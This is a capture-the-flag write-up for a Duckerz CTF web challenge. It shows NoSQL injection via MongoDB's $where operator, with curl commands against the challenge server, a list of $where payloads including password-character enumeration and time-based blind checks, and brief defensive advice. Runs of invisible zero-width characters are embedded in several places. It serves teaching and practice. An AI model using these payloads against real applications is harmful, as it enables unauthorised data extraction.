← Back to Writeups
HTBN/AWeb

Art is an explosion (Искусство — это взрыв)

XESXOR8/23/20263 min read
#web#htb#n/a

Art is an explosion (Искусство — это взрыв)

Platform: Duckerz CTF | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-09 | Status: Solved Techniques: base64_decode, mongodb_where_bypass, nosql_injection

Summary

Task: Web application with MongoDB backend exposing shop API. Solution: NoSQL injection via $where operator in GET /api/shop/{id} endpoint to find hidden record containing base64-encoded flag image.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: duckerz | ID: 20260109_duckerz_art_explosion
  • Tags: jwt, base64, nosql, mongodb, injection, where_operator
  • Indicators: MongoDB ObjectId in response, $where operator accepted, base64 encoded data
  • Source: 20260109_duckerz_art_explosion.md

Foothold

Vulnerability / Misconfiguration

  1. Base64_decode
  2. Mongodb_where_bypass
  3. Nosql_injection
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • base64_decode
  • mongodb_where_bypass
  • nosql_injection
  • Tags: jwt, base64, nosql, mongodb, injection, where_operator

Original Writeup

<details><summary>Click to expand original content</summary>

Description

The task name references Deidara's phrase from the anime Naruto: "Art is an explosion". The description hinted at the use of a NoSQL database (MongoDB).

URL: http://tasks.duckerz.ru:30076

Analysis

Endpoint Reconnaissance

The application had the following endpoints:

  • / - Login page with /api/login
  • /register - Registration via /api/register
  • /home, /profile, /shop - Protected pages
  • /api/shop (POST), /api/shop/{id} (GET), /api/profile/images, /api/create, /api/categories ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

MongoDB Confirmation

The registration response contained a MongoDB ObjectId:

{"InsertedID":"69604eda76d69f228e0d1850"}

Authentication via JWT token with user_id field.

Vulnerability Discovery

EndpointResult
POST /api/shopFilters ignored
POST /api/loginProtected ("Invalid input" for operators)
GET /api/shop/{id}VULNERABLE to NoSQL injection via $where!

Solution

1. Testing NoSQL Injection

Testing $where operator on GET /api/shop/{id}: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Returns first record
curl "http://tasks.duckerz.ru:30076/api/shop/%7B%22%24where%22%3A%22true%22%7D" -b "token=$TOKEN"

# Search for records with different owner_id
curl "http://tasks.duckerz.ru:30076/api/shop/%7B%22%24where%22%3A%22this.owner_id%20!%3D%20'1'%22%7D" -b "token=$TOKEN"

2. Finding the Flag

Payload to search for hidden record with flag:

# URL-encoded: {"$where":"this.name.includes('flag')"}
curl "http://tasks.duckerz.ru:30076/api/shop/%7B%22%24where%22%3A%22this.name.includes('flag')%22%7D" \
  -b "token=$TOKEN"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Response:

{
  "_id": "696046e276d69f228e0d184d",
  "category": "nice",
  "label": "initial", 
  "name": "flag",
  "owner_id": 1,
  "path": "/tmp/d3f3n1731Y_N07_4_Fr46.png"
}

The path field contained a base64-encoded PNG image.

3. Extracting the Flag

TOKEN="<jwt_token>"
curl -s "http://tasks.duckerz.ru:30076/api/shop/%7B%22%24where%22%3A%22this.name.includes('flag')%22%7D" \
  -b "token=$TOKEN" | jq -r '.path' | base64 -d > flag.png

The PNG image (1278x79 pixels) contained the flag as text. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Useful Payloads for MongoDB $where

// Basic checks
{"$where":"true"}
{"$where":"false"}

// Field search
{"$where":"this.field == 'value'"}
{"$where":"this.field.includes('substring')"}
{"$where":"this.field != 'value'"}

// Data enumeration
{"$where":"this.password.length > 10"}
{"$where":"this.password[0] == 'a'"}

// Time-based (for blind injection)
{"$where":"sleep(5000)"}

Defense

  • Validate input data types (strings only for ID)
  • Use parameterized queries
  • Disallow $where, $regex operators in user input
  • Sanitization via allowlist of permitted characters ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR